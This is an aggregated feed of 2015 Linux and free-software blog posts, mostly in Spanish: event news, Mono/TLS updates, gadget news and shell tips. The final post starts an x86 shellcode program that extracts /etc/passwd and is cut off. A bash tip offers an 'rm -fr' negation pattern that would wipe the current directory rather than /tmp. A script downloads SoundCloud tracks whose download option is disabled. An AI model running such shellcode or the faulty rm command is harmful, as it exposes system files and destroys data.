Viernes 04 de septiembre de 2015

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Monty Taylor @ OpenStackGDL el 21 de Septiembre 2015

Estamos muy felices de anunciar que la comunidad de OpenStack en Guadalajara esta cumpliendo un año. Y para celebrarlo, tenemos un invitado especial a nuestra proxima meetup orientada a todos los interesados en el desarrollo y uso de OpenStack.

Monty Taylor vendra a visitarnos y dará la charla titulada: OpenStack Development Process: How we build the world's fastest growing Open Source project

Monty es miembro de la mesa directiva de OpenStack, tambien es integrante del Comité Técnico de OpenStack y de la Python Software Foundation. Fue PTL (Project Technical Lead) en el programa de Infraestructura de OpenStack estableciendo el modelo de CI de OpenStack conocido como "The gate". Ha dirigido equipos de infraestructura para el desarrollo de OpenStack, así como en la implementación de OpenStack (TripleO) y OpenStack Bare Metal (Ironic).

Mas info: http://openstackgdl.org
Registro: OpenStackGDL meetup

CHARLA EN INGLES, ENTRADA LIBRE!!!



IMPORTANTE: Para asistir es necesario estar registrado en el meetup.

Jueves 03 de septiembre de 2015

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

Mono and LLVM's BitCode

This past June, Apple announced that WatchOS 2 applications would have to be submitted using LLVM BitCode. The idea being that Apple could optimize your code as new optimizations are developed or new CPU features are introduced, and users would reap the benefits without requiring the developer to resubmit their applications.

BitCode is a serialized version of the low-level intermediate representation used by LLVM.

WatchOS 2 requires pure BitCode to be submitted. That is, BitCode that does not contain any machine code blobs. iOS supports mixed mode BitCode, that is, BitCode that contains both the LLVM intermediate representation code, and blobs of machine code.

While Mono has had an LLVM backend for a long time, generating pure BitCode posed a couple of challenges for us.

First, Mono's LLVM backend does not cover all the generated code. There were some corner cases that we handled with Mono's old code generator. Also, Mono uses hand-written assembly language code in various places (lots of small optimizations involving generics code sharing, method dispatch and other things like that). This poses a problem for WatchOS.

Secondly, Mono uses a modified version of LLVM that adds support for many .NET idioms. In particular, our changes to LLVM produce the necessary information to support .NET-style exception handling [1].

We spent the summer adapting Mono to produce Vanilla LLVM bitcode support. This includes the removal of our hand-tuned machine code, as well as devising a new system for exception handling that works in this context. Sadly, the exception handling is not as efficient as the one that we got with our modified LLVM.

Hopefully, we will be able to upstream our changes for better exception handling for .NET-like languages to LLVM in the future and get some of the performance back.

Notes

[1] Vanilla LLVM exception support requires exceptions to be explicit. In .NET some exceptions happen implicitly, for example, when dereferencing a null pointer, or dividing by zero.

Martes 01 de septiembre de 2015

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

Xamarin Release Cycles

There are four major components of Xamarin's platform product: the Android SDK, the iOS SDK, our Xamarin Studio IDE and our Visual Studio extension.

In the past, we used to release each component independently, but last year we realized that developing and testing each component against the other ones was getting too expensive, too slow and introduced gratuitous errors.

So we switched to a new style of releases where all the components ship together at the same time. We call these cycles.

We have been tuning the cycle releases. We started with time-based releases on a monthly basis, with the idea that any part of the platform that wanted to be released could catch one of these cycles, or wait for the next cycle if they did not have anything ready.

While the theory was great, the internal dependencies of these components was difficult to break, so our cycles started taking longer and longer.

On top of the cycles, we would always prepare builds for new versions of Android and iOS, so we could do same-day releases of the stacks. These are developed against our current stable cycle release, and shipped when we need to.

We are now switching to feature-based releases. This means that we are now waiting for features to be stable, with long preview periods to ensure that no regressions are introduced.

Because feature based releases can take as long as it is needed to ship a feature, we have introduced Service Releases on top of our cycles.

Our Current Releases

To illustrate this scenario, let me show what our current platform looks like.

We released our Cycle 5 to coincide with the Build conference, back in April 29th. This was our last timed release (we call this C5).

Since then we have shipped three service releases which contain important bug fixes and minor features (C5-SR1, SR2 and SR3), with a fourth being cooked in the oven right now (C5-SR4)

During this time, we have issued parallel previews of Android M and iOS 9 support, those are always built on top of the latest stable cycle. Our next iOS 9 preview for example, will be based on the C5-SR4.

We just branched all of our products for the next upgrade to the platform, Cycle 6.

This is the cycle that is based on Mono 4.2.0 and which contains a major upgrade to our Visual Studio support for iOS and plenty of improvements to Xamarin Studio. I will cover some of my favorite features in Cycle 6 in future posts.

Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Rolly, el teclado portátil

http://static3.actualidadgadget.com/wp-content/uploads/2015/08/lg-rolly-teclado-plegable-830x437.jpg

LG ha inventado un nuevo teclado portatil para smartphones y tablets. El teclado Rolly es un teclado enrollable muy práctico y cómodo.

Está orientado a un usuario profesional, que busca productos útiles para el entorno laboral. Esta firma surcoreana presentará este teclado inalámbrico en la próxima feria de tecnología IFA, la cual se celebrará esta semana en Berlín.

Este teclado se conecta por Bluetooth 3.0. Es capaz de plegarse y cuyo resultado es una pequeña barra fácilmente transportable en un bolsillo. Está fabricado en policarbonato y plástico ABS que promete una gran resistencia a impactos.

http://i.blogs.es/d377e4/lg-rolly-keyboard-05/1024_2000.jpg

Se alimenta por una pila AAA (Triple A) y tiene una duración de unos 3 meses de uso. Este teclado se lanzará en Septiembre en los Estados Unidos y llegará a Europa antes de final de año.

Por el momento no hay precios estimados ni disponibilidad. Y con este producto quieren como objetivo añadirle más valor a los teléfonos y tablets como herramientas de trabajo

Lunes 31 de agosto de 2015

Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Un nuevo cambio en Instagram

Instagram, la red social famosa por subir fotos, ahora permite algo nuevo que no se puede hacer en ninguna otra red social. Se trata de la posibilidad de poder subir fotos y videos tanto horizontales como verticales.

Ahora se podrán fotografiar monumentos y que no queden cuadradas, sino que se podrán ajustar para dejarlas rectangulares

Cuando se acceda a la galería de fotos desde dentro de la aplicación actualizada, se verá un botón de formato sobre el rollo de la cámara. Se puede utilizar este botón para cambiar entre imágenes cuadradas y de tamaño completo. A partir de ahí, también será posible acercar y alejar para elegir la mejor posición para sus fotos.

Las fotos siempre fueron cuadradas para que tuviese un aspecto mas consistente, y que se pudiese ver bien en telefonos con pantallas chicas. Pero a medida de que los tamaños de las pantallas han ido creciendo, se ha optado por dejar poner fotos mas grandes.

Ahora los usuarios de esta red social posiblemente esten celebrando la posibilidad de agrandar las fotos con su nueva actualización. Esto no aplicará para la firma de Instagram. Seguirá teniendo el mismo criterio por defecto.

Viernes 28 de agosto de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

180

180 degrees — people say their life has changed by 180° whenever something alters their priorities, their viewpoints, their targets in life.

In our case, it's been 180 days. 183 by today, really. The six most amazing months in my life.

We are still the same people, with similar viewpoints and targets. Our priorities have clearly shifted.

But our understanding of the world, and our sources of enjoyment, and our outlook for the future... Are worlds apart. Not 180°, think more of a quantic transposition.

Jueves 27 de agosto de 2015

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

State of TLS in Mono

This is an update on our efforts to upgrade the TLS stack in Mono.

You can skip to the summary at the end if you do not care about the sausage making details.

Currently, TLS is surfaced in a few places in the .NET APIs:

  • By the SslStream class, which is a general purpose class that can be used to turn any bidirectional stream into an TLS-powered stream. This class is what currently powers the web client in Mono.
  • By the HttpWebRequest class, which provides .NET's HTTP client. This in turn is the foundation for the modern HttpClient, both the WCF and WebServices stacks as well as the quick and dirty WebClient API.

HttpClient is in particular interesting, as it allows for different transports to be provided for it. The default implementation in .NET 4.5 and Mono today is to use an HttpWebRequest-based implementation. But on Windows 10, the implementation is replaced with one that uses WinRT's HTTP client.

Microsoft is encouraging developers to abandon HttpWebRequest and instead adopt HttpClient as it both async-friendly and can use the best available transport given on a specific platform. More on this in a second.

Mono's Managed TLS

Mono currently only supports TLS 1.0.

This is the stack that powers SslStream and HttpWebRequest.

Last year we started an effort to bring managed implementations of TLS 1.2 and TLS 1.1. Given how serious security has become and how many holes have been found in existing implementation, we built this with an extensive test suite to check for conformance and to avoid common exploits found in implementation mistakes of TLS. This effort is currently under development and you can see where it currently lives at mono-tls module.

This will give us complete TLS support for the entire stack, but this work is still going to take a few months to audit.

Platform Specific HttpClients

Most of the uses for TLS today is via the HTTP protocol, and not over custom TLS streams. This means that it is more important to get an HTTP client that supports a brand new TLS stack, than it is to provide the SslStream code.

We want to provide native HttpClient handlers for all of Mono's supported platforms: Android, iOS, Mac, Linux, BSD, Unix and Windows.

On iOS: Today Xamarin.iOS already ships a native handler, the CFNetworkHandler. This one is powered by Apple's CFNetwork stack. In recent years, Apple has improved their networking stack, and we now I strongly recommend using Paul Bett's fantastic ModernHttpClient which uses iOS' brand new NSUrlSession and uses OkHttp on Android.

On Android: in the short term, we recommend adopting ModernHttpClient from Paul Betts (bonus points: the same component works on iOS with no changes). In the long term, we will change the default handler to use the Android Java client.

In both cases, you end up with HTTP 2.0 capable clients for free.

But this still leaves Linux, Windows and other assorted operating systems without a regular transport.

For those platforms, we will be adopting the CoreFX handlers, which on Unix are powered by the libcurl library.

This still leaves HttpWebRequest and everything built on top of it running on top of our TLS stack.

Bringing Microsoft's SslStream and HttpWebRequest to Mono

While this is not really TLS related, we wanted to bring Microsoft's implementations of those two classes to Mono, as they would fix many odd corner cases in the API, and address limitations in our stack that do not exist in Microsoft's implementation.

But the code is tightly coupled to native Windows APIs which makes the adoption of this code difficult.

We have built an adaptation layer that will allow us to bring Microsoft's code and use Mono's Managed TLS implementation.

SslStream backends

Our original effort focused on a pure managed implementation of TLS because we want to ensure that the TLS stack would work on all available platforms in the same way. This also means that all of the .NET code that expects to control every knob of your secure connection to work (pinning certificates or validating your own chains for example).

That said, in many cases developers do not need this capabilities, and in fact, on Xamarin.iOS, we can not even provide the functionality, as the OS does not give users access to the certificate chains.

So we are going to be developing at least two separate SslStream implementations. For Apple systems, we will be implementing a version on top of Apple's SSL stack, and for other systems we will be developing an implementation on top of Amazon's new SSL library, or the popular OpenSSL variant of the day.

These have the advantage that we would not need to maintain the code, and we benefit from third parties doing all the hard security work and will be suitable for most uses.

For those rare uses that like to handle connections manually, you will have to wait for Mono's new TLS implementation to land.

In Summary

Android, Mac and iOS users can get the latest TLS for HTTP workloads using ModernHttpClient. Mac/iOS users can use the built-in CFNetworkHandler as well.

Soon: OpenSSL/AppleSSL based transports to be available in Mono (post Mono 4.2).

Soon: Advanced .NET SSL use case scenarios will be supported with Mono's new mono-tls stack

Soon: HttpWebRequest and SslStream stacks will be replaced in Mono with Microsoft's implementations.

Julio Mayorga

Julio Mayorga
Blog 123Hosting.com.mx

Pong + Pacman + Space Invaders = Pacapong!

Pacapong es una combinación de 3 juegos clásicos en uno solo! Pacman, Pong y Space Invaders.

PACMAN ( 1980 )

Pong + Pacman + Space Invaders = Pacapong!

Space Invaders   ( 1978 )

pong

Pong ( 1972 )

pacman

El resultado se llama : PACAPONG !

linux

Es un juego multijugador, en donde la pelota de Pong no se desplaza por el tablero como en el juego clásico, sino que entra al laberinto en forma de pac man. Lo atraviesa, y se une con la paleta del otro jugador.

Al mismo tiempo, debes matar a todas las naves del space invaders para que te proporcionen mas fantasmas que persigan al pacman del adversario mientras se desplaza por el laberinto.

Teclas:
JUG 1 : WASD
JUG 2 : CURSORES
ESC: salir
F: Pantalla completa
R: Reiniciar
M: Silenciar

La descarga es gratuita, pesa solo 5 Mb.

pacapongDescarga: http://kingpenguin.itch.io/pacapong

Miércoles 26 de agosto de 2015

Luis Armando Medina

Luis Armando Medina
Como Instalar Linux

Comando Linux rm

El comando linux rm se usa para borrar archivos pero también puede usarse para borrar directorios con un pequeño truco del comando linux rm y te digo otros trucos mas en este post, no te lo pierdas. Continue reading

Lunes 24 de agosto de 2015

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Uncommon user agents

I was checking some Apache's logs and I have discovered that there are a lot of bots tracking and indexing the information:

“Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Dragon/36.1.1.21 Chrome/36.0.1985.97 Safari/537.36”

“Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)”

“Mozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)”

Also I discovered some bots that are very interesting (when I say interesting it means uncommon):

“Mozilla/5.0 (Linux; U; Android 4.3; es-es; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 GSA/5.1.17.16.arm”

“Opera/9.80 (Android; Opera Mini/9.0.1829/37.6334; U; es) Presto/2.12.423 Version/12.16”

“Mozilla/5.0 (Linux; Android 4.2.2; ALCATEL ONE TOUCH 7047A Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36”

Yep… you can think they are mobile phones, but no actually they are bots which are indexing a lot of information, like a spidering or something like that. I wrote a little script to save the information that these bots are catching. I'm curious who are managing them, they have chinese, korean and brazilian IPs :P

David Moreno

David Moreno
dm's blog

Thanks Debian

I sent this email to debian-private a few days ago, on the 10th anniversary of my Debian account creation:

Date: Fri, 14 Aug 2015 19:37:20 +0200
From: David Moreno 
To: debian-private@lists.debian.org
Subject: Retiring from Debian
User-Agent: Mutt/1.5.23 (2014-03-12)

[-- PGP output follows (current time: Sun 23 Aug 2015 06:18:36 PM CEST) --]
gpg: Signature made Fri 14 Aug 2015 07:37:20 PM CEST using RSA key ID 4DADEC2F
gpg: Good signature from "David Moreno "
gpg:                 aka "David Moreno "
gpg:                 aka "David Moreno (1984-08-08) "
[-- End of PGP output --]

[-- The following data is signed --]

Hi,

Ten years ago today (2005-08-14) my account was created:

https://nm.debian.org/public/person/damog

Today, I don't feel like Debian represents me and neither do I represent the
project anymore.

I had tried over the last couple of years to retake my involvement but lack of
motivation and time always got on the way, so the right thing to do for me is
to officially retire and gtfo.

I certainly learned a bunch from dozens of Debian people over these many years,
and I'm nothing but grateful with all of them; I will for sure carry the project
close to my heart — as I carry it with the Debian swirl I still have tattooed
on my back ;)

http://damog.net/blog/2005/06/29/debian-tattoo/

I have three packages left that have not been updated in forever and you can
consider orphaned now: gcolor2, libperl6-say-perl and libxml-treepp-perl.

With all best wishes,
David Moreno.
http://damog.net/


[-- End of signed data --]

I received a couple of questions about my decision here. I basically don’t feel like Debian represents my interests and neither do I represent the project – this doesn’t mean I don’t believe in free software, to the contrary. I think some of the best software advancements we’ve made as society are thanks to it. I don’t necessarily believe on how the project has evolved itself, whether that has been the right way, to regain relevancy and dominance, and if it’s remained primarily a way to feed dogmatism versus pragmatism. This is the perfect example of a tragic consequence. I was very happy to learn that the current Debian Conference being held in Germany got the highest attendance ever, hopefully that can be utilized in a significant and useful way.

Regardless, my contributions to Debian were never noteworthy so it’s also not that big of a deal. I just need to close cycles myself and move forward, and the ten year anniversary looked like a significant mark for that.

Poke me in case you wanna discuss some more. I’ll always be happy to. Specially over beer :)

Peace.

Domingo 23 de agosto de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Tres proyectos didácticos para Edison Arduino

Desde ya algunos meses que tenía la curiosidad de hacer algunas pruebas y aprender como programar las tarjetas arduino. Josech me hizo el favor de agenciarme una Edison con su breakout board y llegó hace unos 5 días a casa. El primer experimento fué hacer parpadear un led, cosa que fué sencilla.
Realicé el parpadeo de led desde arduino IDE y con python.

Ahora en mente tengo algunos proyectos meramente didácticos para los cuales necesitaré algunos sensores:
  1. Un medidor de litros despachados (para ver que te den litros de a litro en las gasolineras)
    • Puede subir los resultados a internet, ya que la Edison tiene wifi
    • Puede geolocalizarse con su respectivo GPS para referenciar a la gasolinera
  2. Un display que vaya en la luneta trasera del auto (que despliegue un texto que tu envíes con voz)
  3. Un despachador de comida de perro automático (que de N kg de comida cada cierto tiempo)
Ya les platicaré que tal van esos proyectitos.

Sábado 22 de agosto de 2015

Xenode Systems: Tutorial: Comenzando con Openshift Online

Viernes 21 de agosto de 2015

¿cuánto cobrar?

Cobrar en materia de sistemas, telecominucaciones, servidores, programacion, consultoria, auditorias, instalaciones, prioridades 1, etc, Como cobrar? Cuanto cobrar? Durante cuanto tiempo? Pido adelanto?

Bueno partiendo de que eres un freelance, osea que andas por tu cuenta, no es cosa sencilla, depende de muchos factores.
1.- El interes comercial
Te interesa tener ese cliente y quieres trabajar con el, a como de lugar quieres darte a concoer por es primera vez que te solicita algun servicio.
Te interesa que se haga el trabajo, porque andas corto de efectivo, llevas tiempo sin ingreso. O estas tan ocupado que debes decir que no. O informal que aceptas aunque sabes que no podras.
Si te interesa entonces deberas pensar en un precio bajo. Calcula 15USD la hora. Aunque muchas empresas latinas no estan acostumbradas a pagar asi, casi siempre quien te contrata quiere un numero redondo.
Tengo este problema, cuanto me sale arregrarlo. Asi, tal cual, es muy dificil cobrar, debes preguntar, en que sitio esta la falla? es la ciudad? cuanto equipo tiene el problema? Como lo resuelven actualmente? Tengo que ir el domingo? Nunca tomes un servicio a ciegas, pregunta, pregunta…
Es muy tipico que aceptas dar una consultoria y resulta que precisamente por eso te buscaron, por que ellos no pueden y lo mas seguro es que otras personas lo intentaron.
En lo particular me toco un servicio asi, poner 4 servicios de red, pense parece sencillo te cobro 100 USD. Al llegar al edificio, resulto que es un hospital, y los servicios son en pisos diferentes y no habia ningun ducto, no habia nada.. Y fue un problemon.

2.- La necesidad del cliente
Te estan llamando por que estan en una crisis? o es algo que no afecta al negocio?
Si tu prospecto esta en medio de una crisis, lo mas seguro es que te pidan el soporte de inmediato, que incluso no de tiempo de pensar en cuanto cobrar, la hora que es, donde estas, si debes dejar de hacer algo.
Piensa una cosa, un parto natural sale casi los 2000 USD. Implica varios especialistas, instalaciones, material etc.
No digo que no se pueda cobrar mas de 2000USD, la idea es no perder pie en la tierra.

En un trabajo aprendi, que es mejor tener amigos que clientes, los amigos regresaran a pedirte mas, y ellos traen a mas amigos. Si desde el principio quieres cobrar 2000 USD por quitar un virus, lo mas probable es que no te llamen de nuevo.
La idea es mantener al cliente durante mucho tiempo, no es solo hacerles un trabajo y ya.
Las tecnologias no tienen que ver con comida rapida, con un producto en caja, tiene que ver con un acompanamiento a largo plazo.
Alguna vez escuche que en algun pais, los Medicos no te cobran cuando estas enfermo, solo cuando estas sano.
Esa es la meta. Tener clientes sanos.

The post ¿cuánto cobrar? appeared first on Apuntes tecnologias de la información.

Jueves 20 de agosto de 2015

Xenode Systems: Openshift de Red Hat: ¿Mejor que un VPS? (Review)
Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

OtherMill's OtherMachine Co.

¿Cómo identifica Linux a la OtherMill?

usb 3-1.1: new full-speed USB device number 12 using ehci-pci
usb 3-1.1: New USB device found, idVendor=1d50, idProduct=606d
usb 3-1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
usb 3-1.1: Product: TinyG v2
usb 3-1.1: Manufacturer: Synthetos
usb 3-1.1: SerialNumber: 02130215-d4130383-13230313-13030383
cdc_acm 3-1.1:1.0: ttyACM0: USB ACM device
cdc_acm 3-1.1:1.2: ttyACM1: USB ACM device
usbcore: registered new interface driver cdc_acm
cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
Interesante... dos puertos ttyACM...

Miércoles 19 de agosto de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Getting the Pktgen LUA exposed functions from pktgen-dpdk

Currently there's no documentation on which functions are exposed to LUA from Pktgen.

Not documented and got this hint from Keith:
Search at the bottom of the ./app/lpktgenlib.c file to see the LUA functions.

  // Set the single packet value on main screen
  {"set_mac",     pktgen_set_mac},     // Set the MAC address for a port
  {"set_ipaddr",  pktgen_set_ip_addr}, // Set the src and dst IP addresses
  {"mac_from_arp",  pktgen_macFromArp},      // Configure MAC from ARP packet
  {"set_proto",   pktgen_prototype},      // Set the prototype value
  {"set_type",    pktgen_set_type},    // Set the type value

For instance you can now call the pktgen.set_type function on your lua script.

Martes 18 de agosto de 2015

Emerson Posadas

Emerson Posadas
toxickore BLOG

Anotaciones: negar un patrón de bash

En ocasiones me sucede que quiero utilizar la negación de un wildcard para eliminar archivos o moverlos en bash. Siempre olvido como hacerlo así que aquí dejo la nota:


$ shopt -s extglob (extended pattern matching)

Quiero eliminar todo lo que haya dentro de /tmp excepto lo que empiece con abc1*

$ rm -fr !(/tmp/abc1*) 

Fin
Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
LINUXMANR4.COM » Linux y Software Libre

Como hacer un meme con inkscape

En esta ocasión les mostraré como hacer un meme con Inkscape. Se que hay muchos programas que hacen memes, pero hay poco control en las tipografías, ubicación de los textos y muchos de estos programas dejan una indeseable marca de agua que en ocasiones echa a perder la imagen que estamos utilizando.

Importar una imagen

Lo primero es conseguir una imagen para hacer nuestro meme, para trabajarla en Inkscape podemos importarla con el menú ArchivoImportar …(Ctrl+I) o también se puede arrastrar una imagen a la aplicación para que aparezca en nuestra área de trabajo.

Importar una imagen a InkscapeImportar una imagen a Inkscape

Agregar un texto

Ahora viene el toque de humor agregando un texto. Para lograr esto es necesario se utiliza la herramienta Crear y editar objetos de texto (F8) y añadimos el texto en donde queramos que aparezca en la imagen. A mi me gusta utilizar la fuente Impact pero ustedes pueden usar la que más les agrade.

agregando un textoAgregar y seleccionar un texto

Si se fijan en la mayoría de los memes, las letras son de color blanco, con la orilla en color negro. Esto es para que el texto resalte en una gran combinación de fondos y sea legible.

Para lograr este efecto es necesario convertir el texto a un trazo. A mi me gusta presionar la tecla F1 que es el atajo de teclado para la herramienta Seleccionar y transformar objetos y seleccionar el texto que voy a transformar.

Con el texto seleccionado voy al menú Trazo y selecciono la opción Objeto a Trazo (Mayús+Ctrl+C)  , con esto ya no voy a poder editar el texto, pero si voy a poder modificar sus propiedades de relleno y trazo (o sea el contorno de las letras).

Transformando un Objeto a trazoTransformando un Objeto a trazo

En la paleta de colores selecciono con el botón izquierdo el color del relleno y con el botón derecho me aparece la opción de elegir el color del trazo.

Eligiendo el color del contornoEl color del trazo es el color del contorno del texto.

Exportar el resultado a PNG

Por default, todos los trabajos de exportación se guardan en formato PNG. Al presionar el menú ArchivoExportar imagen PNG (Mayús+Ctrl+E) aparece un menú muy completo con todas las opciones para exportar la imagen.

Opciones de exportación a PNGOpciones de exportación a PNG

Como los archivo PNG de imágenes suelen tener un tamaño mayor que un JPG se puede cambiar el formato con otra herramienta como GIMP  aunque a mi me gusta más el método por terminal usando ImageMagick  por ejemplo:

convert archivo.png archivo.jpg
Y con eso hago la conversión.

El resultado es un meme en el que se tiene un mejor control creativo, aunque claro, habrá quien prefiera no batallar y usar el famoso Meme Generator.

Todo es posibleTodo es posible con arena e inkscape :)

Con la práctica todo este procedimiento no lleva más de 5 minutos y el resultado es muy bueno y profesional.

The post Como hacer un meme con inkscape appeared first on LINUXMANR4.COM.

Lunes 17 de agosto de 2015

Gunnar Wolf

Gunnar Wolf
Gunnar Wolf

μreport @mx (that means, sadly, gwolf ∉ DebConf15)

<Sigh/>

For the second time since I joined Debian, I missed DebConf. This time, mostly for two completely happy reasons (which have, of course, grown up quite significatively):

But adding to that very important factor, early-to-mid August is possibly the worst date for me to attend DebConf — As that's when we start classes at UNAM, and I really don't want to delegate introducing my class to somebody else (besides it being or not possible).

Life has been quite busy here. Besides starting my seventh semester as a teacher (finally being able to present my book on operating systems to the students!), I also took on teaching two modules for a diploma-course on embedded Linux. I'm co- teaching the "User-space Linux" module together with Gabriel Saldaña, and will teach the "Boot process" module with Sandino Araico. There are many things that should be improved about the covered program, but we are having good fun working our way on it; Gabriel and I have given two (out of six) 6hr sessions each, and have reached the point where it is actually becoming fun :)

As for Debian... I have been doing minimal maintenance work. Answering to some keyring tickets, or taking care of only high-profile important issues. I do not have time to do much. I have been wanting to do some interesting analysis on the evolution of our keyring for several months, but have not had the time to follow it up. Will do at some point, /mehopes.

Anyway... This post is probably just because I need to somehow be there at our community's highest social, technical exchange period in the year. That is, there's not much to report, it's only me waving from home!

Jueves 13 de agosto de 2015

Óscar A. Parra V.

Óscar A. Parra V.
El Canibal » Geek

old printout

Tirando folletos, manuales y cosas que va uno recopilando a lo largo de los años, me encontre con esto.

Alguien sabe de que año sea?

redhat printout

Omar Hernández Sarmiento

Omar Hernández Sarmiento
-- tekini --

ttytter, tuitear desde linea de comandos

TTYtter es un herramienta para poder usar twitter desde la terminal en Linux.

Los siguientes pasos son para su instalación sobre Debian, configuración y ejecución desde linea de comandos.

  • Teniendo salida a internet y los repositorios actualizados:
    $ apt-get install ttytter

  • Si no presenta errores la instalación, lo ejecutamos:
    $ ttytter

  • Cuando lo solicita, «Press ENTER/RETURN to continue», daremos enter

  • Solicitara a twitter un código de autorización e imprimiera una url que debemos copiar y pegar en un navegador

  • En el navegador, autorizamos a ttytter

  • Al autorizar nos desplegara un código numérico que deberá copiarse y para pegar en la terminal.

  • Escribimos el código y damos enter

  • La aplicación termina de configurarse

  • Para ejecutarlo desde linea de comandos basta pasar la cadena con el parámetro «status»:
    $ ttytter -status="Nuestro seleccionado nacional @EduardoGtzC preparando para el panamericano"

  • Podemos ir al navegador y ver el perfil de twitter

  • Otra opción es pasar la cadena por una tubería haciendo uso del parámetro «script»
    $ echo "Viajaran el 27 de agosto" | ttytter -script

  • La actualización se vera

  • Para configurar mas perfiles se puede crear un directorio y mover el archivo generado por ttytter.
    $ mkdir .ttytter
    $ mv .ttytterkey .ttytter/EstHdzJJ.key

  • Empleamos el parámetro «keyf» para indicar que archivo de configuración usar:
    $ echo "junto a Tania Cortez en la rama femenil" | ttytter -keyf=.ttytter/EstHdzJJ.key -script

  • Gunnar Wolf

    Gunnar Wolf
    Gunnar Wolf

    It has landed.

    Basically everybody who knows me is aware that, basically for the last two years, I have been writing a book on Operating Systems for use in my class — and, of course, in any similar class. Well, long story short, as of today:

    What's that in my car trunk? Lets have a closer look.

    Finally, Facultad de Ingeniería finished printing the book!

    So... Well, some minor data points:

    • The book is (and has been for some time already!) available online as a free download.
    • If you want to derive from it or enhance future editions in any way, just clone it!.
    • Want to get a physical copy? Great! It will soon (a week or so) be ready at both the Faculty's and the Institute's bookstores.
    • But coming to UNAM is hard for you? Stay tuned. I have uploaded it to an on-demand printing service (Bubok), but its service is so dismally slow that I'll try it somewhere else. I'll keep you posted!

    Anyway... Very happy here :D

    AttachmentSize
    IMG_20150812_193756.t.jpg106.36 KB
    IMG_20150812_193805.t.jpg82.22 KB

    Martes 11 de agosto de 2015

    Omar Hernández Sarmiento

    Omar Hernández Sarmiento
    -- tekini --

    descarga cancion de soundcloud

    Jugando nuevamente con soundcloud.com para descargar canciones, aun que no este habilitado el botón de download

    Nuevo script, de parámetro recibe la url de una canción


    #!/bin/bash

    URL="$1";

    MEDIA=`wget "$URL" -o /dev/null -O - | grep streamUrl | sed -e 's/.*"streamUrl"/"streamUrl"/' | cut -d, -f1 | cut -d\" -f4`;
    NOM=`basename "$URL"`;
    wget "$MEDIA" -o /dev/null -O "$NOM".mp3

    Claro, esta versión 0 puede quedar en una sola linea.
    O una versión 1 puede recibir mas parámetros

    Omar Hernández Sarmiento

    Omar Hernández Sarmiento
    -- tekini --

    Wikimanía 2015

    Del 15 al 19 de julio se llevó a cabo la décimo primera edición de Wikimanía, la convención de los fanáticos de wikipedia y anexas.

    La sede fue un hotel frente a la alameda central de la Ciudad de México. Pero no fue fortuito que un evento tan importante se realizara en la tierra mexica, esto corresponde al trabajo previo, realizado por la mesa directiva del Capítulo México de la Fundación Wikimedia. Para ganar la sede se postulan diversas ciudades y se valora el trabajo del equipo y las condiciones sociales de las localidades. WMMX es uno de los capítulos mas activos y la cdmx suele ser muy amigable con los extranjeros.

    Para recibir a los visitantes se convocó a un entusiasta y nutrido grupo de voluntarios. Algunos eran profesionistas, otros estudiantes; algunos bilingües, otros políglotas o monolingües; mujeres y hombres; todos con una actitud solidaria que contagiaban de tanta fuerza. En pocos días se forjó esa hermandad propia de las congregaciones. Me llamo la atención que algunos voluntarios no fueran editores de wikipedia, incluso no contaban con cuentas en el proyecto, lo que, definitivamente, no fue un problema para compartir el gusto por el conocimiento libre.

    Wikimanía es un evento de alcance mundial y en sus pasillos se puede encontrar personas de todos colores, olores e idiomas. Culturas diversas que conviven sin prejuicios, con un único fin, compartir conocimiento en proyectos libres. Fue común ver wikipedistas de diferentes nacionalidades hablando en ingles o español comparando sus culturas y describiendo sus proyectos. Les brillan los ojos cuando hablan de sus ediciones y surge la emoción al charlar sobre sus contribuciones.

    Hay personalidades y gustos variados; algunos son fotógrafos y su base es commons, otros les gusta wikinews, otros tantos son programadores y se entretienen en el código de mediawiki o bots, y claro wikipedistas en alguna de las tantas idiomas soportadas.

    En este punto he de resaltar que conocí a:

    • Poco a poco y EneasMX, ambos fotógrafos, el primero con gran experiencia y Eneas con sus primeras contribuciones.
    • Marrovi, un editor políglota, gran impulsor de las ediciones en leguas originarias de México.
    • Superzerocool, un admirado hacker y gran persona, con quien espero contribuir pronto en código.
    • MadriCR, de quien tenia una idea distinta, siendo joven pero con gran experiencia.
    • Ezarate, a quien salude pero no se generó la oportunidad de convivir tanto.
    • Los wikicompas de wmmx, Luisalvaz, Padaguan, Salvador_alc, Christian_Cariño, Omar_sansi, Andycyca, Wotancito y ProtoplasmaKid con quien había tenido el gusto de contactarlos en linea pero tratarlos en persona es mucho mejor.
    Y me faltaron tantas personas, en particular -jem- y Allan Aguilar quien no asistió.

    En cuanto a las conferencias, algunas mas que otras, me dejaron conocimiento y satisfacción; técnicas, teóricas, administrativas y disminución de brechas. No pude asistir a las que planee pero definitivamente la cantidad, variedad y calidad dejaría feliz a casi cualquiera.

    Claro que existieron algunos puntos a mejorar, pero que evento de esta importancia no los tiene. Es por ello que quiero expresar mi agradecimiento a todos y cada uno de los organizadores y participantes.

    Wikimania 2015 - Group photo

    Lunes 10 de agosto de 2015

    Carlos Augusto Lozano

    Carlos Augusto Lozano
    tail -f /dev/mind > blog

    Linux/x86 - /etc/passwd extractor (58 bytes)

    #include <stdio.h>

    #include <string.h>

    char *gordita_de_chicharron =

    “\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f”

